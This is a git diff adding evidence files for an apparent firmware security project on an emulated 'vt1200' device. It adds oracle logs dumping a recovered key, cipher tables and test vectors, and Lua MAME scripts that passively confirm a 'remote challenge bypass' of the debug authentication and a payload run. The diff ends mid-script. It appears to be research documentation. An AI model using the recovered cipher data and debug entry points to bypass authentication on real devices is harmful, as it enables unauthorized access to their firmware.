+ORACLE 170112E65D95F17AB6842DC7E6DC8FF5 9A1D870CC5D7B23FEB59C1D8933FF1C8
+ORACLE 425B57CFEA04D531C766C72F43A77606 7E5E1204D9D29E8D1E19F7AD2535AA3E
+ORACLE CB538FC306E7C2B5D21B1C9403F3256E 6FDB62EA2174929825EE2240EF63626E
+ORACLE DA84B9554787A7CADF9F0BE79B6A6B50 73EBF9713D40B9697B865953D8B83578
+ORACLE 564994D804F033F2B3AC32DE4477D88F EE9696DEB3C42F68C2DF20D04A348BDF
+ORACLE E6BE9F5E56ECD471D7BEF1E9F346BACF 7FAC94CF4EF2359271D4E346CA3C85C8
+ORACLE F0BC1ABC1108BB4A9210673E61C12172 47AFE67DCAD7D549B6554BE1ABC3332B
+ORACLE 9CDF0283CE8DD540E99C72CD0393DB9A 5C1C456B64ED113841EA4B88098B9377
+ORACLE D1821808E487D2D5A51DB14B1128772D FF5D23AC047F111548F28D0CA649AEC3
+ORACLE 35C1D95C69C1214C4C0F852B83AA44CB 5135421CDAA67783843C091DADD36DCF
+ORACLE 3075865334C6F1AA25AD0B9F0E0452D8 20B9FA93A4A126F9D4948177AC12964A
+ORACLE E93B1D81DDE031B038F1229A2BE27078 63CDAE2DC350A52AED062870599461AF
+ORACLE 476C5D37BB1B8FE24A966AD00FAD2B8D 0C3BC8A120F4BD0DAA96B2ED5503DBA0
+ORACLE F125C589E4437C82E41942B3B292D4BA 8E6D5EE61A3C87F2AFB31085D60BED18
+ORACLE 4D3F944A2FE025954DB2C976CB7C7A62 4665CA8F16DA416331098B4AEA105D04
+ORACLE 8357C90D34407ADB8A5FDD0DD214EAA8 7FB2EDE7F618009C24CF2A33D6B93DE2
+ORACLE 79C72424496C2ADA64D91D2BFCC7B56F 38DEC7DC3C4FA396D79E9BB73FFB04D9
+ORACLE D8AA22A48631A4D3609BE94141C02A5B 1AAE71F6BE60D7AB81EF7F373344DDAC
+ORACLE 05DA045FC21817CAC7E1608559E857CE B5B3509AFD63555A2FE6D245195B2DF1
+ORACLE 28F4C8E7936D7181A0A661E7B9EC0BEB 7FEE411EE6451EC3B4D552882C549A3E
+ORACLE 27522D91503A637DB0A48A1C9936D595 83A4D4046364DA46AC757DCC0CF32635
+ORACLE AA0FB16E114C5AFE80563A97F0F2056F 70D5FFCEC75445F5F43BF99E9C810F22
+ORACLE 18069653AC2C860A56F8918A7509AADD D102633E9962A9EC6880E56CE896981F
+ORACLE 98D2D8D1B926D7623A856EE8A0299101 9E17968E15D59EB1CD60B8A50C5AC68A
+ORACLE 11CE373C8E45F98AF1B77065A6BA4BBD C9AB7C6A08094AA356785A793DC6ACE2
+ORACLE 291532A743535EC5040AF5737FE826B6 CCAC4D89D191B2AC94D7408FA6CC637C
+ORACLE 488309E5AEDD3415B9B81D46E29F324F 0B18041E0B1F9E1067F8D73DD7EA1359
+ORACLE 95B1BA89672C693E17BDC6D0468A3DA9 1AC8B7CD2153F0D7560DD01C2F3350DC
+ORACLE F6FB03E6C44CAEC2E5D490C4E212D7A8 F005BEA9600AFFDD9DFC0D0CB22BAE77
+ORACLE 137C650FDD0870E6AB77D996AD644DF0 1721E413829999D72E299FDDC90ED988
+ORACLE 53101ED688EADFAAAFE1C1785E6AB0E3 198D6F5D48E871893EB8021879EBD290
+ORACLE DD502DD05D3FEAD4F80E275E6CD0CFA4 1EFDB76D5D6562164472FE16919F9908
+ORACLE 9799514FB21040E54DB9A9FA0EFF3816 61668CA3EB55AFDE098765474F0214F9
+ORACLE 290409659F294F21365CA7C03B243ADD 34C661B93EA3FC5807200523CD7AFC3C
+ORACLE FA6E95E7FA15488BF93340E2AA2AE45A DFD211AC91F37A00D0FEDB2053130598
+ORACLE 3170F2665A1E18E59D385253D2BA06B2 3186138A51A9DCAFD2DBE5BA917F8C2B
+ORACLE B467E13618516FB3E9277DC7EA412FC7 C9833E21C3CCA1FB1F0B62D70EF6E299
+ORACLE 2B6DE06A4877BC38657A1FB0E9E9AC3C 50C38CE713037E39D7910CFAFC93FA27
+ORACLE FD5C2DD5C31C2E76576D5842869E8E74 3F17031DD00F7FF4BD46F9139F744547
+ORACLE 51D1C90A208BB431C6FA076F380AA493 A1B5AEFE499705C7DAE88B4144A7C7D0
+ORACLE 0D26725CB5CEFDEC79DDCAEB36987B7A 7B959B4A2FF45C6FA44B18B79526F8AE
+ORACLE D976A8DE99B277E9F7910127777364CE 676CF65222A36203EA7E0D08D10CD3E1
+ORACLE 1C9CA863A4C0532C8850CA59B2876EF1 1C592CF1DEEAC8B085D38AA929085528
+ORACLE FC33727E6D447E77321605725E7E6706 536CC388800FFB82C20495F9F776FABC
+ORACLE 6196C6814A48A84FBC9D5125B2C3DEF0 0E2827D97E4B02A88FC27A15B67B3EEF
+ORACLE F2E02181529940F5AE610CE5A4822253 D77E71E2163A1CA4718FBCD7A4648FDA
+ORACLE 16ECC44F5DC0756C4D9C56E7EDA44390 88E12D0CE0C3A16A6F75C593DC4B3D75
+ORACLE F355AD8002093579A24A0E1B03D70FCC 13953DEC4B9BBB6E06E826E35B8A566C
+ORACLE 71769B65977F319D7325D2361D8316E9 2615C2F94166C11702C42E5F7A6FA5E6
+ORACLE 376B0D1233EDD61B48A901AA32D5A68A 97D1344A149F2F03C8C9E0DD81D3D6A0
+ORACLE AC0D425AAEDE55F86610BCABF8B7CE13 5912C8C3E0F8048164AA9B6ACC8991FA
+ORACLE F6F839D09E9C9BF5D656E02BE8D45EA5 39835C18989E656D3CCD3C6FFAC31C50
+Average speed: 319.27% (13 seconds)
diff --git a/dwt/evidence/oracle-forward-boot2.log b/dwt/evidence/oracle-forward-boot2.log
new file mode 100644
index 0000000..95778f4
--- /dev/null
+++ b/dwt/evidence/oracle-forward-boot2.log
@@ -0,0 +1,91 @@
+Warning: -video none doesn't make much sense without -seconds_to_run
+vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
+vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
+vt1200: scanline#1 line=1 enabled=1
+vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
+vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
+vt1200: scanline#2 line=0 enabled=1
+vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
+vt1200: scanline#3 line=1 enabled=1
+vt1200: scanline#4 line=2 enabled=1
+ORACLE start frame=1000 p200=00000000 p400=00000000
+ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001
+ORACLE KP=00910910 FP=0090C8D0
+ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400
+ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208
+ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505
+ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04
+ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D
+ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A
+ORACLE R4 8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+ORACLE 00000000000000000000000000000000 90DE09B47285581790DE09B472855817
+ORACLE FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6A81040BF22944796A81040BF2294479
+ORACLE 71471D94EC8993C744BCD8CFCB3CC5A6 51BB36A47ABF37381DFBB4E88A2E7E0F
+ORACLE 6819A8E6CAA4E23B69BD418941DA1EDC 96E3FFE7D578C80316D03D45E6993285
+ORACLE 4ED83613C682494C19E2740EA94A4F39 AC206B3295B638C37446B2D1C42B8104
+ORACLE 4920C6AE776DB8BE592551547A3428E1 56354353B10EA5DC8A98A50255B3958C
+ORACLE 414D180A3571DE14F241770BEA0537B5 989EFDFA11AA33978EEA9BBEBA20600C
+ORACLE DD78A93A16592A906BB244A8F2E6CB5A 8996F85FBD87D4D750A112135CF14EAB
+ORACLE 837EBA11F2B0CB3609B3D85E48C5F432 0655BA88004D24A665E001E441C31D24
+ORACLE 5CF848225FC0AFC9D53E111E624A8060 E703106CFD05FC6656F34FF7D76CB603
+ORACLE 4D4314C0B59687CB950F8F9E79E2FFC8 DF0A6E99502D24FA98F4EEB82A4045AD
+ORACLE FD789CFD0AFBC080D0A0B14E83B7BE0B B110596B898A77BC027D16CBEDE12282
+ORACLE D5741FAE367B8AEBCE2D956336B5CF8E EE2D417EBD755A0A852EA62EDB3C493E
+ORACLE FAD19C64CF60D4CE95B01BD00B85FE73 3D7A77DEA62599F8C155F770AC5E8A88
+ORACLE 54E9D2732DB74DADEBE5E1473794DC9D E528ADCF75B272FC23D20640A436BBF3
+ORACLE 8AD941EF664964CB5A47473BB30DB7AF 4A86CAFE092B8493911CFF5075875316
+ORACLE 027B26A952A2472B26106CE035D99F0C D4131B34AEE4BF72912281B9F6FED1B4
+ORACLE E46A8235870DE78F583B2E2833A562D8 707BDCDA6A0FA41D5477C560DAFAFA0A
+ORACLE 170112E65D95F17AB6842DC7E6DC8FF5 9A1D870CC5D7B23FEB59C1D8933FF1C8
+ORACLE 425B57CFEA04D531C766C72F43A77606 7E5E1204D9D29E8D1E19F7AD2535AA3E
+ORACLE CB538FC306E7C2B5D21B1C9403F3256E 6FDB62EA2174929825EE2240EF63626E
+ORACLE DA84B9554787A7CADF9F0BE79B6A6B50 73EBF9713D40B9697B865953D8B83578
+ORACLE 564994D804F033F2B3AC32DE4477D88F EE9696DEB3C42F68C2DF20D04A348BDF
+ORACLE E6BE9F5E56ECD471D7BEF1E9F346BACF 7FAC94CF4EF2359271D4E346CA3C85C8
+ORACLE F0BC1ABC1108BB4A9210673E61C12172 47AFE67DCAD7D549B6554BE1ABC3332B
+ORACLE 9CDF0283CE8DD540E99C72CD0393DB9A 5C1C456B64ED113841EA4B88098B9377
+ORACLE D1821808E487D2D5A51DB14B1128772D FF5D23AC047F111548F28D0CA649AEC3
+ORACLE 35C1D95C69C1214C4C0F852B83AA44CB 5135421CDAA67783843C091DADD36DCF
+ORACLE 3075865334C6F1AA25AD0B9F0E0452D8 20B9FA93A4A126F9D4948177AC12964A
+ORACLE E93B1D81DDE031B038F1229A2BE27078 63CDAE2DC350A52AED062870599461AF
+ORACLE 476C5D37BB1B8FE24A966AD00FAD2B8D 0C3BC8A120F4BD0DAA96B2ED5503DBA0
+ORACLE F125C589E4437C82E41942B3B292D4BA 8E6D5EE61A3C87F2AFB31085D60BED18
+ORACLE 4D3F944A2FE025954DB2C976CB7C7A62 4665CA8F16DA416331098B4AEA105D04
+ORACLE 8357C90D34407ADB8A5FDD0DD214EAA8 7FB2EDE7F618009C24CF2A33D6B93DE2
+ORACLE 79C72424496C2ADA64D91D2BFCC7B56F 38DEC7DC3C4FA396D79E9BB73FFB04D9
+ORACLE D8AA22A48631A4D3609BE94141C02A5B 1AAE71F6BE60D7AB81EF7F373344DDAC
+ORACLE 05DA045FC21817CAC7E1608559E857CE B5B3509AFD63555A2FE6D245195B2DF1
+ORACLE 28F4C8E7936D7181A0A661E7B9EC0BEB 7FEE411EE6451EC3B4D552882C549A3E
+ORACLE 27522D91503A637DB0A48A1C9936D595 83A4D4046364DA46AC757DCC0CF32635
+ORACLE AA0FB16E114C5AFE80563A97F0F2056F 70D5FFCEC75445F5F43BF99E9C810F22
+ORACLE 18069653AC2C860A56F8918A7509AADD D102633E9962A9EC6880E56CE896981F
+ORACLE 98D2D8D1B926D7623A856EE8A0299101 9E17968E15D59EB1CD60B8A50C5AC68A
+ORACLE 11CE373C8E45F98AF1B77065A6BA4BBD C9AB7C6A08094AA356785A793DC6ACE2
+ORACLE 291532A743535EC5040AF5737FE826B6 CCAC4D89D191B2AC94D7408FA6CC637C
+ORACLE 488309E5AEDD3415B9B81D46E29F324F 0B18041E0B1F9E1067F8D73DD7EA1359
+ORACLE 95B1BA89672C693E17BDC6D0468A3DA9 1AC8B7CD2153F0D7560DD01C2F3350DC
+ORACLE F6FB03E6C44CAEC2E5D490C4E212D7A8 F005BEA9600AFFDD9DFC0D0CB22BAE77
+ORACLE 137C650FDD0870E6AB77D996AD644DF0 1721E413829999D72E299FDDC90ED988
+ORACLE 53101ED688EADFAAAFE1C1785E6AB0E3 198D6F5D48E871893EB8021879EBD290
+ORACLE DD502DD05D3FEAD4F80E275E6CD0CFA4 1EFDB76D5D6562164472FE16919F9908
+ORACLE 9799514FB21040E54DB9A9FA0EFF3816 61668CA3EB55AFDE098765474F0214F9
+ORACLE 290409659F294F21365CA7C03B243ADD 34C661B93EA3FC5807200523CD7AFC3C
+ORACLE FA6E95E7FA15488BF93340E2AA2AE45A DFD211AC91F37A00D0FEDB2053130598
+ORACLE 3170F2665A1E18E59D385253D2BA06B2 3186138A51A9DCAFD2DBE5BA917F8C2B
+ORACLE B467E13618516FB3E9277DC7EA412FC7 C9833E21C3CCA1FB1F0B62D70EF6E299
+ORACLE 2B6DE06A4877BC38657A1FB0E9E9AC3C 50C38CE713037E39D7910CFAFC93FA27
+ORACLE FD5C2DD5C31C2E76576D5842869E8E74 3F17031DD00F7FF4BD46F9139F744547
+ORACLE 51D1C90A208BB431C6FA076F380AA493 A1B5AEFE499705C7DAE88B4144A7C7D0
+ORACLE 0D26725CB5CEFDEC79DDCAEB36987B7A 7B959B4A2FF45C6FA44B18B79526F8AE
+ORACLE D976A8DE99B277E9F7910127777364CE 676CF65222A36203EA7E0D08D10CD3E1
+ORACLE 1C9CA863A4C0532C8850CA59B2876EF1 1C592CF1DEEAC8B085D38AA929085528
+ORACLE FC33727E6D447E77321605725E7E6706 536CC388800FFB82C20495F9F776FABC
+ORACLE 6196C6814A48A84FBC9D5125B2C3DEF0 0E2827D97E4B02A88FC27A15B67B3EEF
+ORACLE F2E02181529940F5AE610CE5A4822253 D77E71E2163A1CA4718FBCD7A4648FDA
+ORACLE 16ECC44F5DC0756C4D9C56E7EDA44390 88E12D0CE0C3A16A6F75C593DC4B3D75
+ORACLE F355AD8002093579A24A0E1B03D70FCC 13953DEC4B9BBB6E06E826E35B8A566C
+ORACLE 71769B65977F319D7325D2361D8316E9 2615C2F94166C11702C42E5F7A6FA5E6
+ORACLE 376B0D1233EDD61B48A901AA32D5A68A 97D1344A149F2F03C8C9E0DD81D3D6A0
+ORACLE AC0D425AAEDE55F86610BCABF8B7CE13 5912C8C3E0F8048164AA9B6ACC8991FA
+ORACLE F6F839D09E9C9BF5D656E02BE8D45EA5 39835C18989E656D3CCD3C6FFAC31C50
+Average speed: 317.77% (13 seconds)
diff --git a/dwt/evidence/oracle-inverse.log b/dwt/evidence/oracle-inverse.log
new file mode 100644
index 0000000..99912a4
--- /dev/null
+++ b/dwt/evidence/oracle-inverse.log
@@ -0,0 +1,27 @@
+Warning: -video none doesn't make much sense without -seconds_to_run
+vt1200: screen_update#1 frame=0 clip_y=0..0 screen=1280x901
+vt1200: screen_update#2 frame=0 clip_y=1..900 screen=1280x901
+vt1200: scanline#1 line=1 enabled=1
+vt1200: guard#1 frame=0 dump_frame=-1 dump_ram=-1
+vt1200: screen_update#3 frame=1 clip_y=0..0 screen=1280x901
+vt1200: scanline#2 line=0 enabled=1
+vt1200: screen_update#4 frame=1 clip_y=1..1 screen=1280x901
+vt1200: scanline#3 line=1 enabled=1
+vt1200: scanline#4 line=2 enabled=1
+ORACLE start frame=1000 p200=00000000 p400=00000000
+ORACLE init done @1C0200=0090C8D0 @1C0220=00000000 @1C0240=00000000 @1C0260=00910910 @1C0400=00000001
+ORACLE KP=00910910 FP=0090C8D0
+ORACLE KEY 2C3E1F020130080D2D23281F080019120B333920171A00063227333C09041308370E1D18020B0107112D3C2B292C12203A3B250702003D030A1E3B0B272C00103B110B1C2010212E052D2B2C11092A10262725320410113D2B063D2D0239220030371C0D0006143512193F310A302204351F232B3004061323082E3E2D1A2400
+ORACLE FTAB 0082800000000000008000000282800002808000028200000200000000800000000200000082800002828000000200000202800002808000000080000200000002020000000280000002800000820000008200000080800000808000020280000280000002008000020080000280000000000000020200000282000000008000008000000282800002000000008080000082800000008000000080000002000002808000008000000082000002008000000200000200000002028000028200000282800002800000008080000202800002008000020200000282000000828000020200000002800000028000000000000280000000820000000000000280800010400840004000400040000010400800000008001000000010000840104000401000004010400840004008400000004000400040000008001000000010000840004008001000080010400040000000000000004000400000104008000000084010000800100000400000000000400800104000000040084000000840104000000000000010400800100008400000080010400040000008400040084000400000000008400040004010000000104008401040080010000000004000000000004010400000004008400000080010000040100008001040004010000040100008000040080000000000004000401040000000000040100008401040084000400800040100000001010400000000040001040001000400000000040101000001000404000100040000040400000400000100040101040400010000000104040100000000000404000000000101040001000000010100000001040400010404010100040100040001010000000100040100040400000004010104000100000000000400010104000000040400010004010000000001000001010400010004000000000001000004000100040101040001000404000004000100000000000004000104040100040000010000000004040101040400000004010100000101000400000400000104040100040401000000000104040101000400000004000104000101000010408040100080401000804000000040104000400040800000408000100080000000000010400000104000401040804000008000000000400040000000408000000080001000000000400000104080400000000000400000100080401000004000408000000080401000004000400000100000401040004010408040000080400040000000408000104000401040804000008000000000000000000010400040100000400040004000408000000080001040804010008040100080400000004010408040000080000000800010000000004080001000804010400040004080001000804010000000004000001040804000000000004000001000004010400080000000800004010000040180000021000004008000000000000020000004018000042000000400800000018000042080000021000004218000040000000020000000010000042000000420000000008000002080000421800004218000000100000421800000200000000000000021800004010000000100000021800004000000040080000021800000000000000100000020000004018000002180000420800000010000002000000421800004018000042080000000000000010000042180000421800004000000002180000421000004010000000000000420000000218000040080000001800000200000040000000000000004208000040180000020080000100000201000200000082020100000201008000000082020100000200000200010082020000000200008000010080020000020001000000010082000000000000008002000082000100020000000202000082000100800000008002010080020100000000008202000002020100820000000202000002020100000001000200010080000000800201000202000082020100000200008200000080000100000200000200010000000100820000008000010082020100020200000002010082020000020201000000000080020100800000000200000000020100820200000200000080020000820001000000000002020100000001008002000082000100000100001001002010400020000000000040000010400020104100000041002010410020000100000000000010000020100000000000002010010020104000000040002010410000100100000040002010000020000100200041002010010000000100200040000010400000104100200041000010000000000000200041000000000020004100000001000010400020104000201001002010010020100000001001000000000020004000200001000000410020104000001041000000410020104000001000002010410020000100200041000000000000100000001041002000000000104100000001002000400000100000200040002000400000100100020080008000800000000020020080208000000082008000820000000000000082000020000000208200802080008020000080208200802000008000020000000000002082000000800080008200800000008020020000200200002080008020820080000000000000000000020000208200000080008000820080200000002002008020000000200000802080008000020000000200002080008000020080200000800082000000020000008000002082000020800000008000002002008000800000000200802082000020020000008000002080008000820080008000000002008020800080200000802002008000020080000200002000000000800080208
+ORACLE SEED 55F861C7E51311D4C800000000000000000000000000000000000000000000000000000000003A322A221A120A023C342C241C140C043E362E261E160E06403830282018100839312921191109013B332B231B130B033D352D251D150D053F372F271F170F07280830103818402027072F0F37173F1F26062E0E36163E1E2505
+ORACLE R1 39312921191109013A322A221A120A023B332B231B130B033C342C243F372F271F170F073E362E261E160E063D352D251D150D051C140C04
+ORACLE R2 01020406080A0C0E0F11131517191B1C0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D
+ORACLE R3 0E110B180105031C0F06150A17130C041A0810071B140D0229341F252F371E28332D21302C31273822352E2A32241D200E040D01020F0B08030A060C05090007000F07040E020D010A060C0B0905030804010E080D06020B0F0C0907030A05000F0C080204090107050B030E0A00060D0F01080E060B03040907020D0C00050A
+ORACLE R4 8000000040000000200000001000000008000000040000000200000001000000080000000400000002000000010000000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
+ORACLE_INV 00000000000000000000000000000000 B79E1C9EAFAAD86BB79E1C9EAFAAD86B
+ORACLE_INV FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF 6004AD61ED53D94A6004AD61ED53D94A
+ORACLE_INV 71471D94EC8993C744BCD8CFCB3CC5A6 116AE5361EB35BB13D08CB6441C493A6
+ORACLE_INV 6819A8E6CAA4E23B69BD418941DA1EDC 7353766B876F5653A65AC4BB28B28AF2
+ORACLE_INV 4ED83613C682494C19E2740EA94A4F39 A74684C5A20700468DB53D136516F709
+ORACLE_INV 4920C6AE776DB8BE592551547A3428E1 D9FBA4A9D16EA90F3E5C048947140663
+Average speed: 315.69% (13 seconds)
diff --git a/dwt/evidence/scripts/live_check.lua b/dwt/evidence/scripts/live_check.lua
new file mode 100644
index 0000000..1426dcd
--- /dev/null
+++ b/dwt/evidence/scripts/live_check.lua
@@ -0,0 +1,53 @@
+-- live_check.lua -- verification with NO breakpoints and no memory writes.
+--
+-- This script only reads RAM/VRAM once per frame. There is no bpset anywhere,
+-- so the exploit cannot be attributed to any debugger action: the only thing
+-- the emulator does is report what the firmware and the payload left in memory.
+local machine = manager.machine
+local cpu = machine.devices[':maincpu']
+local dbg = machine.debugger
+local space = cpu.spaces['program']
+if not dbg then machine:exit(); return end
+dbg.visible_cpu = cpu
+
+local MAGIC1 = 0x01810000
+local MAGIC2 = 0x01810010
+local COUNT = 0x01810020
+local VRAM = 0x04019040
+local f = 0
+local done_at = nil
+local last = nil
+
+emu.register_frame_done(function()
+ f = f + 1
+ if f % 500 == 0 then
+ print(string.format("CHECK frame %d MAGIC1=%04X MAGIC2=%04X COUNT=%04X",
+ f, space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT)))
+ end
+ if done_at == nil and space:read_u16(MAGIC1) == 0xDEAD then
+ done_at = f
+ local filled, holes = 0, 0
+ for r = 0, 63 do
+ for c = 0, 15 do
+ if space:read_u16(VRAM + r * 1024 + c * 16) == 0xFFFF then
+ filled = filled + 1
+ else
+ holes = holes + 1
+ end
+ end
+ end
+ print(string.format("CHECK payload-ran: MAGIC1=%04X MAGIC2=%04X COUNT=%04X",
+ space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT)))
+ print(string.format("CHECK payload-ran: VRAM block %d/1024 words FFFF, %d holes",
+ filled, holes))
+ end
+ if done_at and f >= done_at + 120 then
+ print(string.format("CHECK exiting at frame %d (payload seen at %d)", f, done_at))
+ machine:exit()
+ end
+ if f >= 12000 then
+ print("CHECK timeout: no payload markers")
+ machine:exit()
+ end
+end, "vt1200-live-check")
+dbg.execution_state = 'run'
diff --git a/dwt/evidence/scripts/live_verify.lua b/dwt/evidence/scripts/live_verify.lua
new file mode 100644
index 0000000..66fe35e
--- /dev/null
+++ b/dwt/evidence/scripts/live_verify.lua
@@ -0,0 +1,72 @@
+-- live_verify.lua -- passive verification of the remote challenge bypass.
+--
+-- No breakpoint here writes a register or memory: it only prints. In
+-- particular the memcmp at 3F5A0920 is *observed*, never forced.
+local machine = manager.machine
+local cpu = machine.devices[':maincpu']
+local dbg = machine.debugger
+local space = cpu.spaces['program']
+if not dbg then machine:exit(); return end
+dbg.visible_cpu = cpu
+
+local D = "/home/arti/code/k-space/vt1200/dwt/evidence/live-run"
+local MAGIC1 = 0x01810000
+local MAGIC2 = 0x01810010
+local COUNT = 0x01810020
+local VRAM = 0x04019040
+local f = 0
+local armed = false
+local saw_challenge = false
+local saw_memcmp = false
+local done_at = nil
+
+local function report_magic(tag)
+ print(string.format("LIVE2 %s: MAGIC1=%04X MAGIC2=%04X COUNT=%04X",
+ tag, space:read_u16(MAGIC1), space:read_u16(MAGIC2), space:read_u16(COUNT)))
+ local filled, holes = 0, 0
+ for r = 0, 63 do
+ for c = 0, 15 do
+ if space:read_u16(VRAM + r * 1024 + c * 16) == 0xFFFF then
+ filled = filled + 1
+ else
+ holes = holes + 1
+ end
+ end
+ end
+ print(string.format("LIVE2 %s: VRAM block %d/1024 words FFFF, %d holes", tag, filled, holes))
+end
+
+emu.register_frame_done(function()
+ f = f + 1
+ if f == 1 and not armed then
+ armed = true
+ dbg:command('bpset 3F58AD60,,{ printf "LIVE2 accept_debug_conn entry pc=%08X\\n", pc ; g }')
+ dbg:command('bpset 3F59F320,,{ printf "LIVE2 dispatcher entry pc=%08X\\n", pc ; g }')
+ dbg:command('bpset 3F59FDC0,,{ printf "LIVE2 dwt_prf challenge entry pc=%08X\\n", pc ; g }')
+ dbg:command('bpset 3F5A0200,,{ printf "LIVE2 challenge sent a13=%08X wire=%08X.%08X.%08X.%08X host=%08X.%08X.%08X.%08X\\n", a13, d@(a13), d@(a13+0x20), d@(a13+0x40), d@(a13+0x60), d@(a13+0x100), d@(a13+0x120), d@(a13+0x140), d@(a13+0x160) ; g }')
+ dbg:command('bpset 3F5A0740,,{ printf "LIVE2 pre-transform reply=%08X.%08X.%08X.%08X\\n", d@(a13+0x80), d@(a13+0xa0), d@(a13+0xc0), d@(a13+0xe0) ; g }')
+ dbg:command('bpset 3F5A08E0,,{ printf "LIVE2 memcmp-args expecting=%08X.%08X.%08X.%08X got=%08X.%08X.%08X.%08X\\n", d@(a9), d@(a9+0x20), d@(a9+0x40), d@(a9+0x60), d@(a11), d@(a11+0x20), d@(a11+0x40), d@(a11+0x60) ; g }')
+ -- OBSERVE ONLY: print the comparison result; never assign to a8.
+ dbg:command('bpset 3F5A0920,,{ printf "LIVE2 challenge memcmp a8=%08X (0=equal)\\n", a8 ; g }')
+ dbg:command('bpset 3F5A1B50,,{ printf "LIVE2 rdebug_poke entry pc=%08X\\n", pc ; g }')
+ dbg:command('bpset 3F5A3890,,{ printf "LIVE2 rdebug_jump entry pc=%08X\\n", pc ; g }')
+ print("LIVE2 armed read-only breakpoints")
+ end
+ if f % 500 == 0 then
+ print(string.format("LIVE2 frame %5d word@0xAECD0=%04X field2..3=%d",
+ f, space:read_u16(0xaecd0), (space:read_u16(0xaecd0) >> 2) & 3))
+ end
+ if done_at == nil and space:read_u16(MAGIC1) == 0xDEAD then
+ done_at = f
+ report_magic("payload-ran")
+ end
+ if done_at and f >= done_at + 120 then
